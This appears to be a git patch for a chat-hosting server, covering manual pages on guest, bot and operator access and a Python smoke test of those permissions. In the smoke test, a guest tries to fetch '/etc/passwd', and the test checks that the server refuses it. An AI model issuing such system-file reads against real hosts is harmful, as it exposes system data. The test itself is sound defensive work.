with the owner's access and limits + +A shared chat always runs in the owner's folder on the machine, with the owner's model access and the owner's spending limits: what a guest's messages cost is counted to the owner, in the owner's My space, against the owner's chat limit and month. The server notes who last put words into the chat next to each charge, so the owner can see it was a guest, but that is approximate: a model call is credited to whoever last sent a message, redirected a turn or answered through the server, and the owner opening their own window puts it back to the owner. The owner's activity list (`GET /v1/hosted/audit`) holds one line for each message a guest sent, with who sent it (never what it said), and each line for the owner's GitHub access carries who was asking at the time. + +## can the operator open my hosted chat — only metadata, and only if the policy makes the chat visible + +The operator holds no right on a private chat: it is refused with `There is no such chat.` and is not told the chat exists. When the policy makes new chats not private, the operator's list shows the chat's identifier, owner, state and times and nothing else, and the operator still cannot open it, read its history or see its folder. Whoever runs the machine itself is another matter: see *what can the operator of the server see*. + +## bots and hosted chats — what a bot may do with a chat, and what it may not + +A bot (see *Bots*) can start, list, open, stop and delete hosted chats, and it holds exactly what the person who made it holds on each chat right now, narrowed by its scope. If that person loses access to someone else's chat, the bot loses it on its very next request, and an open window of the bot's is ended within a heartbeat. A chat the bot starts is owned by that person and recorded as made by the bot. A bot cannot touch a person's stored keys (`/v1/hosted/keys`): that answers `a bot cannot use this yet`. A bot that holds the `run` verb on its creator's own chat can type into it, as its creator would; a bot whose scope leaves `run` out is treated like a guest. On someone else's chat a bot gets what its creator's role gives, and no more. + +## may I still start a chat on my own computer after joining an organization — the hosting policy + +An organization is its own account, separate from your personal one: you switch between them, and what you make in the organization's account belongs to the organization. When the organization runs hosted chats, every chat in its account is a hosted chat, and a chat does not start on your computer from inside it. There is no setting on your side to override that; the way to work on your own computer is to switch to your personal account, which does not see the organization's chats or files. + +The organization's policy has a `hosting` section for this. `local_sessions` is `allow`, `warn` or `refuse`; left empty it means `refuse` when the organization runs hosted chats and `allow` when it does not, so an organization with no machine for chats behaves as before. `GET /v1/hosted/sessions` reports the value that applies as `hosting.local_sessions`, with the words to show for it: for `refuse` `This organization runs your chats on its own server, so they do not start on this computer. To work here instead, switch to your personal account, which does not see the organization's chats or files.` and for `warn` `This organization keeps your chats on its own server. A chat started on this computer is not part of the organization's account.` Only the operator changes the policy, with `PUT /v1/org/policy`. `max_session_cost_usd` is what one hosted chat may spend before it is paused; zero keeps `CODEAF_HOSTED_SESSION_CAP_USD` (five dollars unless set). This version reports the setting and enforces the cost limit; `codeaf` on a computer does not yet act on `local_sessions`. ## what can the operator of the server see — honest limits of a hosted chat Whoever runs the machine, and whoever is its administrator on the hosting platform, can read everything on its disk. A hosted chat is not private from them. The disk is not encrypted by the server software itself. diff --git a/internal/manual/chat/organization-sharing.md b/internal/manual/chat/organization-sharing.md index ff5b25fe2f..d9ab0ccee1 100644 --- a/internal/manual/chat/organization-sharing.md +++ b/internal/manual/chat/organization-sharing.md @@ -33,7 +33,7 @@ A person can make a **bot**: a named identity with its own token, for a script o A bot is never more than the person who made it. On every request it holds what its creator holds on that thing right now, narrowed by the organization policy's scope for agents (`agents.scopes` for `bot:`, else the default scope) and by the scope the person gave it when making it (a role name from the policy). When its creator loses a share, the bot loses it on its next request. When the operator removes its creator from the organization, the creator's bots stop at once, and stay stopped if that person is added again. Nothing is copied: no grant ever names a bot. -What a bot makes belongs to its creator: a chat, a task or a file it creates is owned by the person who made the bot and recorded as made by the bot, and a chat is private like any other chat until it is shared. A bot cannot make bots, mint or revoke tokens, sign in as a person, use the operator's routes or the event stream, or start an agent run (messaging a chat's agent): those answer "a bot cannot use this yet", or "a bot cannot start an agent run yet". It reaches workstreams and what is in them, canvases, shared resources, My space, and the policy and people lists. A revoked, removed or switched-off token is refused with 401 and words that say which, and is never tried as a request from the server's own computer. +What a bot makes belongs to its creator: a chat, a task or a file it creates is owned by the person who made the bot and recorded as made by the bot, and a chat is private like any other chat until it is shared. A bot cannot make bots, mint or revoke tokens, sign in as a person, use the operator's routes or the event stream, or start an agent run (messaging a chat's agent): those answer "a bot cannot use this yet", or "a bot cannot start an agent run yet". It reaches workstreams and what is in them, canvases, shared resources, My space, and the policy and people lists. A bot can also start, list, open, stop and delete hosted chats on the organization's server, as its creator, and cannot touch a person's stored keys there: see *bots and hosted chats*. A revoked, removed or switched-off token is refused with 401 and words that say which, and is never tried as a request from the server's own computer. ## Who sets the sharing rules — the operator's organization policy @@ -45,7 +45,7 @@ An organization starts on the default policy, which behaves as the server always A person with at least **view** on a chat, Afi's pane or a task's working conversation can read what was said there, and ask again for only what is new, but cannot post to it: the message, stop and card doors stay with the person whose chat it is. Everyone else, the operator included, is told the chat is not there, with the same words as for a chat that does not exist: a private chat reveals nothing, not even that it exists. -Reading changes nothing: it does not mark the chat as touched, start its agent, or leave a line on the organization's record. When a grant is removed, runs out, or the chat is moved somewhere the person does not reach, the next read is refused. A role that holds steer or run does not give a talk door in this version: steering someone else's chat is not built. +Reading changes nothing: it does not mark the chat as touched, start its agent, or leave a line on the organization's record. When a grant is removed, runs out, or the chat is moved somewhere the person does not reach, the next read is refused. A role that holds steer or run does not give a talk door in this version for a chat in a workstream: steering someone else's chat there is not built. A chat that runs on the organization's own server (a hosted chat) is the one place it is: a person with steer can interrupt and steer it, one with answer can answer its questions, and one with run (the `edit` and `full` roles) can send messages and run commands in it as its owner, with the owner's GitHub identity and files; approving, settings and files stay the owner's. See *what can someone I shared my hosted chat with do*. ## Moving a chat between My space and a workstream — move is not share diff --git a/internal/manual/chat_hosted_test.go b/internal/manual/chat_hosted_test.go index 6ada20ecd7..bab81d4d33 100644 --- a/internal/manual/chat_hosted_test.go +++ b/internal/manual/chat_hosted_test.go @@ -28,6 +28,16 @@ func TestHostedChatQuestionsReachTheirPage(t *testing.T) { {"how do I turn on hosted chats for my organization", []string{"CODEAF_HOSTED_URL", "codeaf sessionhost probe"}}, {"how do I stop or delete a chat that runs on the server", []string{"every process it started"}}, {"The organization's model access was refused by its provider, so this chat paused", []string{"Ask the organization's operator to check the model key", "Your own model key was refused by its provider"}}, + {"can someone I shared my hosted chat with send messages in it", []string{"also send messages, files and images", "interrupt"}}, + {"if I give someone run access to my hosted chat whose GitHub identity does it use", []string{"acts with your GitHub identity, your files and your spending limits"}}, + {"Only its owner can do that", []string{"Only its owner can do that"}}, + {"you were not given permission to send messages in it", []string{"you were not given permission to send messages in it", "keyboard"}}, + {"I can watch this chat but was not given permission to steer it", []string{"Ask its owner", "keyboard"}}, + {"Your access to this chat was removed.", []string{"Your access to this chat was removed."}}, + {"who pays when a guest steers my hosted chat", []string{"approximate", "owner's spending limits"}}, + {"can the operator open my hosted chat", []string{"only metadata", "There is no such chat."}}, + {"can a bot start a hosted chat", []string{"a bot cannot use this yet", "recorded as made by the bot"}}, + {"may I still start a chat on my own computer after joining an organization", []string{"local_sessions", "switch to your personal account"}}, } for _, ask := range asked { found := Chat().Search(ask.question, DefaultResults) From 0931bd15ec60a5e3362b1579113e57b032172a89 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 11:42:45 -0500 Subject: [PATCH 069/176] hosted P2: the keyless smoke drives guests, the event stream and the audit on the real stack New rows: a private chat is missing from another person's list and from their event stream, a share shows it in their shared list, a guest on the wire can watch and is refused for what their role lacks, revoking the share ends an open window within a heartbeat, a bot acts as its creator and loses the chat when the creator does, a guest's message runs as the owner with the asker on the spend row and the audit, and the operator without a grant sees nothing. The stub heartbeat is 1s so the run stays short. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.env.example | 3 + deploy/org/.env.stub.hosted | 2 + deploy/org/compose.yaml | 2 + deploy/org/scripts/smoke.py | 550 +++++++++++++++++++++++++++++++++++- deploy/org/smoke.sh | 10 +- 5 files changed, 563 insertions(+), 4 deletions(-) diff --git a/deploy/org/.env.example b/deploy/org/.env.example index aa2ed0eff6..b1507027c2 100644 --- a/deploy/org/.env.example +++ b/deploy/org/.env.example @@ -25,6 +25,9 @@ CODEAF_HOSTED_MODEL_KEY= # What one chat may spend, in US dollars, before its model calls are refused (default 5). The monthly limit for a person is # the one the operator sets in Settings (default 20); spend is counted to the cent, with the organization's key and with a person's own. CODEAF_HOSTED_SESSION_CAP_USD= +# How often, in seconds with a unit (1s to 1m, default 5s), a guest's open window on a shared chat is checked again, so access taken away ends +# that window within about this long. +CODEAF_HOSTED_HEARTBEAT= # Comma separated git hosts a chat may clone from and push to through this server (default https://github.com). CODEAF_HOSTED_GIT_HOSTS= # The TCP ports a chat's commands may connect to besides this server's own (default 443,80,22,9418; `none` for this server's alone). diff --git a/deploy/org/.env.stub.hosted b/deploy/org/.env.stub.hosted index 5af5fd9b03..d13c601bc2 100644 --- a/deploy/org/.env.stub.hosted +++ b/deploy/org/.env.stub.hosted @@ -15,3 +15,5 @@ CODEAF_HOSTED_MODEL_KEY=stub-hosted-org-key-0001 STUB_COST_USD=0.01 CODEAF_HOSTED_SESSION_CAP_USD=0.50 CODEAF_HOSTED_GIT_HOSTS=http://gitstub:8891 +# P2: a guest's open window is checked every second, so the smoke test can watch a removed right end the window quickly. +CODEAF_HOSTED_HEARTBEAT=1s diff --git a/deploy/org/compose.yaml b/deploy/org/compose.yaml index bd248c4f4f..289bb48bc5 100644 --- a/deploy/org/compose.yaml +++ b/deploy/org/compose.yaml @@ -67,6 +67,8 @@ services: CODEAF_HOSTED_MODEL_UPSTREAM: ${CODEAF_HOSTED_MODEL_UPSTREAM:-} CODEAF_HOSTED_MODEL_KEY: ${CODEAF_HOSTED_MODEL_KEY:-} CODEAF_HOSTED_SESSION_CAP_USD: ${CODEAF_HOSTED_SESSION_CAP_USD:-} + # How often an open guest window's right to a shared chat is checked again (a Go duration, 1s to 1m, default 5s). + CODEAF_HOSTED_HEARTBEAT: ${CODEAF_HOSTED_HEARTBEAT:-} # The key that keeps people's own provider keys and GitHub access sealed on disk (./setup.sh makes it). This service # alone holds it: never the chats' machine, never a node. Losing it makes what people stored unreadable, and the server # then refuses to start rather than carry on without it. diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index 809fb4adb3..fed7c88881 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -23,6 +23,12 @@ hosted-after (in the codeaf container, after the chats' machine restarted) the chats are still there, their files are intact and a person gets back into one + hosted-p2-prepare (in the codeaf container, after the P1 sections) makes the two chats the P2 section shares and watches + (one for Priya, one for Noor, a third person the section invites); smoke.sh pipes the ids to `hosted-seed` + hosted-p2 (in the codeaf container) private by default, sharing and a guest's watched wire (view only, steer, revoke), + the operator's metadata, a bot's chats and its creator's rights, the hosting policy + hosted-p2-after (in the codeaf container, after every service restarted) the shares and the privacy are what they were + An organization server takes a password only over https or from its own machine, so `org` and `after-org` run inside the codeaf container with ORG_URL=http://127.0.0.1:8787 (smoke.sh does). @@ -40,6 +46,7 @@ import socket import subprocess import sys +import threading import time import urllib.error import urllib.request @@ -320,7 +327,11 @@ def after_org(): if token: code, people = http('GET', ORG + '/v1/people', token) handles = sorted(p.get('handle') for p in (people or {}).get('people', [])) if isinstance(people, dict) else [] - check('and still knows the second person', handles == ['owner', 'priya'], handles) + try: + people_now = sorted(json.loads(STATE.read_text()).get('people', ['owner', 'priya'])) + except (OSError, ValueError): + people_now = ['owner', 'priya'] + check('and still knows the second person (and any a later section invited)', handles == people_now, handles) # --------------------------------------------------------------------------------------------- @@ -1180,16 +1191,549 @@ def hosted_p1_after(): check('P1-6 and the new operation left an audit line', len(audit_lines(member)) > len(lines), f'{len(audit_lines(member))} vs {len(lines)}') +# --------------------------------------------------------------------------------------------- +# Hosted chats P2: who may see a chat, who may watch it and with what verbs, bots, the hosting policy. Everything goes +# through the organization server's own HTTP address and its chat wire, as a person's window would; the wire is spoken by hand +# (below) because `codeaf chat --org --once` can only send a prompt, and a guest must be able to try the calls it may not make. +P2_IDS = Path(os.environ.get('SMOKE_P2_IDS', '/data/smoke-p2-ids.json')) +P2_STATE = Path(os.environ.get('SMOKE_P2_STATE', '/data/smoke-p2.json')) +# The exact words of the guest refusals (internal/factory/serve/hosted_guest.go; the manual and README carry them too). +GUEST_OWNER_ONLY = 'This chat is shared with you. Only its owner can do that.' +GUEST_NEEDS_RUN = 'You can watch this chat, but you were not given permission to send messages in it. Ask its owner.' +GUEST_NEEDS_STEER = 'You can watch this chat, but you were not given permission to steer it. Ask its owner.' +ACCESS_REMOVED = 'Your access to this chat was removed.' +BOT_REFUSED = 'a bot cannot use this yet' +HEARTBEAT = float(os.environ.get('SMOKE_HOSTED_HEARTBEAT_S', '1')) +LIST_SHARED_KEYS = {'id', 'owner', 'role', 'access', 'state', 'created', 'last_active'} +LIST_OPERATOR_KEYS = {'id', 'owner', 'access', 'state', 'created', 'last_active'} + + +class Wire: + """One WebSocket on /v1/hosted/sessions//wire, carrying the engine's newline-delimited JSON frames as binary + messages (the way the real client does). Only what the smoke needs: no extensions, no fragmentation.""" + + def __init__(self, token, session, timeout=20): + url = urlparse(ORG) + port = url.port or (443 if url.scheme == 'https' else 80) + self.sock = socket.create_connection((url.hostname, port), timeout) + self.sock.settimeout(timeout) + self.buf = b'' + self.lines = [] + self.partial = b'' + key = base64.b64encode(os.urandom(16)).decode() + self.sock.sendall(('GET /v1/hosted/sessions/%s/wire HTTP/1.1\r\nHost: %s:%d\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n' + 'Sec-WebSocket-Key: %s\r\nSec-WebSocket-Version: 13\r\nAuthorization: Bearer %s\r\n\r\n' + % (session, url.hostname, port, key, token)).encode()) + head = b'' + while b'\r\n\r\n' not in head: + piece = self.sock.recv(4096) + if not piece: + break + head += piece + head, _, rest = head.partition(b'\r\n\r\n') + self.status = int(head.split(b' ', 2)[1]) if head.startswith(b'HTTP/') else 0 + self.refusal = rest.decode(errors='replace').strip() if self.status != 101 else '' + self.buf = rest if self.status == 101 else b'' + self.closed = self.status != 101 + self.next_id = 0 + + def send_line(self, frame): + data = (json.dumps(frame) + '\n').encode() + mask = os.urandom(4) + n = len(data) + head = b'\x82' + (bytes([0x80 | n]) if n < 126 else b'\xfe' + n.to_bytes(2, 'big') if n < 65536 else b'\xff' + n.to_bytes(8, 'big')) + self.sock.sendall(head + mask + bytes(b ^ mask[i % 4] for i, b in enumerate(data))) + + def _frames(self): + """Pops every complete WebSocket message from the buffer, joined into the byte stream.""" + while len(self.buf) >= 2: + first, second = self.buf[0], self.buf[1] + length, at = second & 0x7F, 2 + if length == 126: + if len(self.buf) < 4: + return + length, at = int.from_bytes(self.buf[2:4], 'big'), 4 + elif length == 127: + if len(self.buf) < 10: + return + length, at = int.from_bytes(self.buf[2:10], 'big'), 10 + if len(self.buf) < at + length: + return + payload, self.buf = self.buf[at:at + length], self.buf[at + length:] + opcode = first & 0x0F + if opcode == 8: + self.closed = True + return + if opcode in (1, 2, 0): + self.partial += payload + while b'\n' in self.partial: + line, _, self.partial = self.partial.partition(b'\n') + if line.strip(): + try: + self.lines.append(json.loads(line)) + except ValueError: + self.lines.append({'kind': 'unparsed', 'raw': line.decode(errors='replace')}) + + def read_until(self, predicate, seconds): + """Frames until one satisfies the predicate (skipped frames are dropped), or None when the time runs out or the socket closes.""" + end = time.time() + seconds + while True: + self._frames() + while self.lines: + frame = self.lines.pop(0) + if predicate(frame): + return frame + if self.closed or time.time() > end: + return None + self.sock.settimeout(max(0.2, min(2.0, end - time.time()))) + try: + piece = self.sock.recv(65536) + except socket.timeout: + continue + except OSError: + self.closed = True + continue + if not piece: + self.closed = True + self.buf += piece + + def hello(self, **fields): + self.send_line({'kind': 'hello', 'payload': dict({'version': 22, 'surface': 'smoke'}, **fields)}) + return self.read_until(lambda f: f.get('kind') in ('welcome', 'fatal'), 60) + + def call(self, method, payload=None, seconds=30): + self.next_id += 1 + mine = self.next_id + frame = {'kind': 'call', 'id': mine, 'method': method} + if payload is not None: + frame['payload'] = payload + self.send_line(frame) + return self.read_until(lambda f: f.get('kind') == 'result' and f.get('id') == mine, seconds) + + def drain_until_closed(self, seconds): + """Everything the socket says until it closes: the frames, and whether it closed at all.""" + got = [] + end = time.time() + seconds + while time.time() < end and not self.closed: + frame = self.read_until(lambda f: True, min(2.0, max(0.2, end - time.time()))) + if frame is not None: + got.append(frame) + while self.lines: + got.append(self.lines.pop(0)) + return got, self.closed + + def close(self): + try: + self.sock.close() + except OSError: + pass + + +class Events(threading.Thread): + """A person's live event stream (GET /v1/events), read in the background, so a check can say what it did and did not carry.""" + + def __init__(self, token): + super().__init__(daemon=True) + self.token, self.text, self.halt, self.up = token, '', False, threading.Event() + self.start() + self.up.wait(10) + + def run(self): + request = urllib.request.Request(ORG + '/v1/events', headers={'Authorization': 'Bearer ' + self.token, 'Accept': 'text/event-stream'}) + try: + response = urllib.request.urlopen(request, timeout=3) + except Exception as error: # noqa: BLE001 + self.text = 'ERROR ' + str(error) + self.up.set() + return + self.up.set() + while not self.halt: + try: + piece = response.read1(4096) + except (socket.timeout, TimeoutError): + continue + except Exception: # noqa: BLE001 + break + if not piece: + break + self.text += piece.decode(errors='replace') + try: + response.close() + except Exception: # noqa: BLE001 + pass + + def stop(self): + self.halt = True + self.join(8) + return self.text + + +def p2_person(handle, operator, secret): + """A person's sign-in token, inviting and joining them first when the organization does not know them yet.""" + token = sign_in(handle) + if token: + return token + code, made = http('POST', ORG + '/v1/invites', operator, {'name': handle.title()}) + invite = (made or {}).get('url') if isinstance(made, dict) else None + if not invite: + return None + code, joined = join(invite, handle, handle.title(), secret) + token = (joined or {}).get('access_token') if isinstance(joined, dict) else None + try: + saved = json.loads(STATE.read_text()) + except (OSError, ValueError): + saved = {} + people = sorted(set(saved.get('people', ['owner', 'priya'])) | {handle}) + saved['people'] = people + STATE.write_text(json.dumps(saved)) + STATE.chmod(0o600) + return token + + +def p2_ids(listing, key): + return [row.get('id') for row in (listing or {}).get(key, [])] if isinstance(listing, dict) else [] + + +def p2_quiet(people, seconds=90): + """Waits until none of these people's chats is running, so the per-person limit on running chats cannot get in the way.""" + def idle(): + for token in people: + code, body = http('GET', ORG + '/v1/hosted/sessions', token) + if code != 200 or any(row.get('state') == 'running' for row in body.get('sessions', [])): + return False + return True + return bool(wait_until(idle, seconds, 3)) + + +def p2_grant(owner_token, chat, who, role): + code, made = http('POST', ORG + '/v1/resources/session/%s/grants' % chat, owner_token, {'subject': {'kind': 'person', 'id': who}, 'role': role}) + return code, (made or {}).get('id', '') if isinstance(made, dict) else '' + + +def p2_revoke(owner_token, chat, grant): + return http('DELETE', ORG + '/v1/resources/session/%s/grants/%s' % (chat, grant), owner_token)[0] + + +def p2_error(result): + """The sentence a refused call came back with ('' when it was answered without an error).""" + return (result or {}).get('error', '') if isinstance(result, dict) else '(no answer)' + + +def hosted_p2_prepare(): + print('--- hosted chats P2: making the chats (and the third person)') + secret = password() + operator = sign_in('owner') + check('P2 the operator signs in', bool(operator)) + if not operator: + return + ids = {} + for who, name in (('priya', 'p2_priya'), ('noor', 'p2_noor')): + token = p2_person(who, operator, secret) + check(f'P2 {who} signs in', bool(token)) + code, made = http('POST', ORG + '/v1/hosted/sessions', token, {}) if token else (0, None) + ids[name] = (made or {}).get('id', '') if isinstance(made, dict) else '' + check(f'P2 {who} is given a chat ({name})', code in (200, 201) and ids[name].startswith('hs_'), f'{code} {short(made, 120)}') + P2_IDS.write_text(json.dumps(ids)) + P2_IDS.chmod(0o600) + + +def hosted_p2(): + print('--- hosted chats P2: private by default, shared and watched, the operator, bots, the hosting policy') + secret = password() + operator = sign_in('owner') + priya = sign_in('priya') + noor = p2_person('noor', operator, secret) if operator else None + check('P2 the operator and two people sign in', bool(operator and priya and noor)) + if not (operator and priya and noor): + return + ids = json.loads(P2_IDS.read_text()) + chat_p, chat_n = ids['p2_priya'], ids['p2_noor'] + check('P2 the other chats have stopped running (so the limit on running chats is not in the way)', p2_quiet([operator, priya, noor]), '') + + # P2-1: a chat is private by default, at the list, at every door, and in the live event stream. + code, mine = http('GET', ORG + '/v1/hosted/sessions', priya) + check('P2-1 the owner lists the chat as their own', code == 200 and chat_p in p2_ids(mine, 'sessions'), short(mine, 200)) + for who, token in (('Noor', noor), ('the operator', operator)): + code, other = http('GET', ORG + '/v1/hosted/sessions', token) + check(f'P2-1 {who} has none of Priya\'s chat in either list', code == 200 and chat_p not in p2_ids(other, 'sessions') + p2_ids(other, 'shared'), short(other, 200)) + unknown = http('GET', ORG + '/v1/hosted/sessions/' + UNKNOWN_CHAT, noor) + for who, token in (('Noor', noor), ('the operator', operator)): + got = http('GET', ORG + '/v1/hosted/sessions/' + chat_p, token) + check(f'P2-1 {who} opening Priya\'s private chat gets exactly what an unknown chat gets', got == unknown and got[0] == 404 and (got[1] or {}).get('error') == NO_SUCH_CHAT, f'{got} vs {unknown}') + wire = wire_answer(token, chat_p) + check(f'P2-1 {who} attaching to Priya\'s private chat gets the same words', wire[0] == 404 and NO_SUCH_CHAT in wire[1], wire) + for suffix, verb in (('/stop', 'POST'), ('', 'DELETE')): + code, body = http(verb, ORG + '/v1/hosted/sessions/' + chat_p + suffix, token, {} if verb == 'POST' else None) + check(f'P2-1 {who} cannot {"stop" if suffix else "delete"} it either', code == 404 and (body or {}).get('error') == NO_SUCH_CHAT, f'{code} {body}') + + watchers = {'noor': Events(noor), 'operator': Events(operator), 'priya': Events(priya)} + code, made = http('POST', ORG + '/v1/hosted/sessions', priya, {}) + extra = (made or {}).get('id', '') if isinstance(made, dict) else '' + check('P2-1 the owner makes another chat while others are watching the event stream', code in (200, 201) and extra.startswith('hs_'), f'{code}') + http('POST', ORG + '/v1/hosted/sessions/%s/stop' % extra, priya, {}) + http('DELETE', ORG + '/v1/hosted/sessions/' + extra, priya) + time.sleep(3) + streams = {name: watcher.stop() for name, watcher in watchers.items()} + check('P2-1 the owner\'s own event stream carried the chat being made and removed', extra in streams['priya'], short(streams['priya'], 160)) + check('P2-1 neither the other person\'s nor the operator\'s event stream ever carried it', extra not in streams['noor'] and extra not in streams['operator'] + and chat_p not in streams['noor'] and chat_p not in streams['operator'], f'noor {len(streams["noor"])} bytes, operator {len(streams["operator"])} bytes') + + # P2-2 and P2-5: sharing it makes it appear in the grantee's shared list, and a view grant watches and cannot send. + code, g_view = p2_grant(priya, chat_p, 'noor', 'view') + check('P2-5 the owner shares the chat with Noor (view)', code == 201 and bool(g_view), f'{code}') + code, listed = http('GET', ORG + '/v1/hosted/sessions', noor) + rows = [r for r in (listed or {}).get('shared', []) if r.get('id') == chat_p] if isinstance(listed, dict) else [] + check('P2-2 Noor now lists it under shared, never under his own chats', len(rows) == 1 and chat_p not in p2_ids(listed, 'sessions'), short(listed, 300)) + check('P2-2 a shared row carries only the id, owner, role, how, state and times (no model access, no warning)', + len(rows) == 1 and set(rows[0]) == LIST_SHARED_KEYS and rows[0].get('role') == 'view' and rows[0].get('access') == 'shared' and rows[0].get('owner') == 'priya', rows) + check('P2-2 the list says what the organization\'s policy is for chats on a computer', isinstance(listed, dict) and (listed.get('hosting') or {}).get('local_sessions') == 'refuse', short((listed or {}).get('hosting'), 80)) + code, other = http('GET', ORG + '/v1/hosted/sessions', operator) + check('P2-1 the operator still has none of it', code == 200 and chat_p not in p2_ids(other, 'sessions') + p2_ids(other, 'shared'), short(other, 200)) + + # The owner's turn goes first: it starts the chat and gives the guest something to watch. + status, out, err = chat(priya, 'bash: echo before-noor-attached', session=chat_p) + check('P2-8 the owner talks in their own chat through the client door as before', status == 0 and 'before-noor-attached' in out, short(out + err, 200)) + guest = Wire(noor, chat_p) + check('P2-4 Noor\'s window attaches to the shared chat', guest.status == 101, f'{guest.status} {guest.refusal}') + if guest.status != 101: + return + welcome = guest.hello(clientID='smoke-noor') + check('P2-5 the chat answers the guest\'s hello with a welcome', welcome is not None and welcome.get('kind') == 'welcome', short(welcome, 200)) + for method in ('Ping', 'Transcript'): + answered = guest.call(method) + check(f'P2-5 a view guest may ask {method}', answered is not None and not p2_error(answered), short(answered, 200)) + transcript = guest.call('Transcript') + check('P2-5 the guest reads what the owner said', 'before-noor-attached' in json.dumps(transcript), short(transcript, 160)) + for method, payload, sentence in (('Submit', {'text': 'noor-was-here'}, GUEST_NEEDS_RUN), ('SubmitBash', {'text': 'echo noor-was-here'}, GUEST_NEEDS_RUN), + ('FollowUp', {'text': 'noor-was-here'}, GUEST_NEEDS_RUN), ('Typing', None, GUEST_NEEDS_RUN), + ('Steer', {'text': 'noor-was-here'}, GUEST_NEEDS_STEER), ('StopWork', None, GUEST_OWNER_ONLY), + ('SetModel', 'x/y', GUEST_OWNER_ONLY), ('Fetch.File', {'path': '/etc/passwd'}, GUEST_OWNER_ONLY)): + refused = guest.call(method, payload) + check(f'P2-5 a view guest\'s {method} is refused in the exact words', p2_error(refused) == sentence, short(refused, 240)) + again = guest.call('Transcript') + check('P2-5 none of what the guest tried reached the chat', 'noor-was-here' not in json.dumps(again), '') + banned = [w for w in BANNED_WORDS if w in (GUEST_OWNER_ONLY + GUEST_NEEDS_RUN + GUEST_NEEDS_STEER + ACCESS_REMOVED).lower()] + check('P2-5 the refusal sentences keep to plain words', not banned, banned) + + # The owner's turn runs while the guest watches: the guest's window is told what happens (events or facts frames). + watched = [] + thread = threading.Thread(target=lambda: watched.append(chat(priya, 'bash: echo seen-live-by-noor', session=chat_p)), daemon=True) + thread.start() + seen = guest.read_until(lambda f: f.get('kind') in ('event', 'facts'), 90) + thread.join(120) + check('P2-5 a guest watching live is told what the owner\'s turn does', seen is not None, short(seen, 160)) + check('P2-5 and the owner\'s turn was not disturbed by the watcher', bool(watched) and watched[0][0] == 0 and 'seen-live-by-noor' in watched[0][1], short(watched, 200)) + + # The role `edit` holds run, steer and answer in the default policy: a guest given it sends messages and they run as the OWNER + # (the owner's sandbox and credentials), with the asker recorded; everything that is the owner's alone stays refused. + code, g_edit = p2_grant(priya, chat_p, 'noor', 'edit') + check('P2-5 the owner gives Noor a role that may run (edit)', code == 201 and bool(g_edit), f'{code}') + p2_revoke(priya, chat_p, g_view) + time.sleep(HEARTBEAT * 3 + 1) + spent_before = spent_of(priya) + sent = guest.call('Submit', {'text': 'bash: echo from-noor-as-the-owner; id -un'}, seconds=120) + check('P2-5 with run a guest\'s message is no longer refused by the organization\'s server (the chat answers)', sent is not None and p2_error(sent) not in (GUEST_NEEDS_RUN, GUEST_OWNER_ONLY), short(sent, 240)) + + def noor_turn_in_transcript(): + got = guest.call('Transcript') + text = json.dumps(got) + return text if 'from-noor-as-the-owner' in text and 'STUB ran' in text else None + transcript_text = wait_until(noor_turn_in_transcript, 90, 3) + check('P2-5 the guest\'s message ran in the chat (the transcript holds it and the command\'s answer)', bool(transcript_text), short(sent, 160)) + check('P2-8 and the command ran as the chat\'s owner, not as the guest', bool(transcript_text) and ('priya' in transcript_text or 'chat' in transcript_text) and 'noor' not in transcript_text.replace('noor-was-here', '').replace('from-noor-as-the-owner', ''), short(transcript_text, 200)) + audit = [e for e in audit_lines(priya) if e.get('kind') == 'prompt' and e.get('chat') == chat_p] + check('P2-8 the owner\'s activity list holds one line for that message, naming who asked and never what was said', + len(audit) >= 1 and all(e.get('asker') == 'noor' and e.get('person') == 'priya' for e in audit) and 'from-noor' not in json.dumps(audit), short(audit, 300)) + spent_after = wait_until(lambda: (lambda value: value if value is not None and value > spent_before else None)(spent_of(priya)), 30, 2) + check('P2-8 what the guest\'s message cost is the OWNER\'s spend', spent_after is not None and spent_of(noor) in (None, 0, 0.0), f'owner {spent_before} -> {spent_after}, guest {spent_of(noor)}') + db = glob.glob('/data/**/factory-workstreams.db', recursive=True) + asked = [] + if len(db) == 1: + import sqlite3 + with sqlite3.connect('file:%s?mode=ro' % db[0], uri=True) as conn: + asked = conn.execute("SELECT by, asker FROM spend WHERE chat = ? AND asker <> ''", (chat_p,)).fetchall() + check('P2-8 the spend row says who asked (approximately) and is still charged to the owner', bool(asked) and all(row == ('priya', 'noor') for row in asked), asked) + # The chat's git goes through the organization with the OWNER's stored GitHub access whoever typed the message; the activity list says who. + time.sleep(6) + sent_git = guest.call('Submit', {'text': 'bash: git clone -q http://gitstub:8891/acme/widgets.git gp 2>&1; echo "GITGUEST $?"'}, seconds=120) + cloned = wait_until(lambda: (lambda text: text if 'GITGUEST 0' in text else None)(json.dumps(guest.call('Transcript'))), 120, 3) + check('P2-8 a guest with run has the chat clone through the owner\'s GitHub access', bool(cloned), short(sent_git, 200)) + git_lines = [e for e in audit_lines(priya) if e.get('kind') == 'git' and e.get('chat') == chat_p and e.get('asker') == 'noor'] + check('P2-8 and each of those git lines in the owner\'s activity list names who was asking', len(git_lines) >= 2 and all(e.get('person') == 'priya' for e in git_lines), short(git_lines, 300)) + steered = guest.call('Steer', {'text': 'noor-steering'}) + check('P2-5 with that role a steer is no longer refused by the organization\'s server (the chat itself answers)', p2_error(steered) != GUEST_NEEDS_STEER and steered is not None, short(steered, 240)) + for method, payload in (('StopWork', None), ('SetModel', 'x/y'), ('Fetch.File', {'path': '/etc/passwd'})): + refused = guest.call(method, payload) + check(f'P2-5 even with run, {method} stays the owner\'s and is refused in the exact words', p2_error(refused) == GUEST_OWNER_ONLY, short(refused, 240)) + check('P2-5 the server does not close an open guest window because its role changed', not guest.closed, '') + + # Whether a non-owner may send prompts is a POLICY EDIT: take run out of `edit` and the very next message is refused (no code, no new grant). + code, policy_now = http('GET', ORG + '/v1/org/policy', operator) + trimmed = json.loads(json.dumps(policy_now)) if code == 200 and isinstance(policy_now, dict) else None + if trimmed: + for role in trimmed.get('roles', []): + if role.get('name') == 'edit': + role['verbs'] = [v for v in role.get('verbs', []) if v != 'run'] + code, put = http('PUT', ORG + '/v1/org/policy', operator, trimmed) + check('P2-5 the operator takes run out of the edit role', code == 200, f'{code} {short(put, 160)}') + time.sleep(HEARTBEAT * 3 + 1) + refused = guest.call('Submit', {'text': 'noor-again'}) + check('P2-5 with run gone from the role the guest\'s next message is 